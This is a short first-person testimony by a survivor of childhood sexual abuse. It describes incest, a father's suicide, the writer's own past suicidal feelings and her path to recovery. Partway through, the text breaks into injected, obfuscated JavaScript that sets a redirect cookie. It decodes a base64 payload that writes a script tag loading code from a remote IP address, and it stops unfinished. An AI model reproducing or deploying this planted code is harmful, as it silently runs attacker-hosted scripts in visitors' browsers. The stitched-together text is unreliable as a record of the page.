I am a survivor of childhood sexual abuse, not a victim. My father is the victim because he took his life in 1987. He couldn’t live with himself. There have been many times over the years where I wish that I had taken my life as well. Instead of running from my past, I have been trying to embrace it, because it is definitely a part of who I am. I tried for many years to “escape” from what happened to me, but realized that no matter where I go, my past will always be with me. I grew up in a home where incest was an everyday occurrence, along with physical and emotional abuse. Between my father and my three brothers I could not escape the never ending abuse, so much so, that I simply gave in to it. It defined me once, but it no longer defines who I am today. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘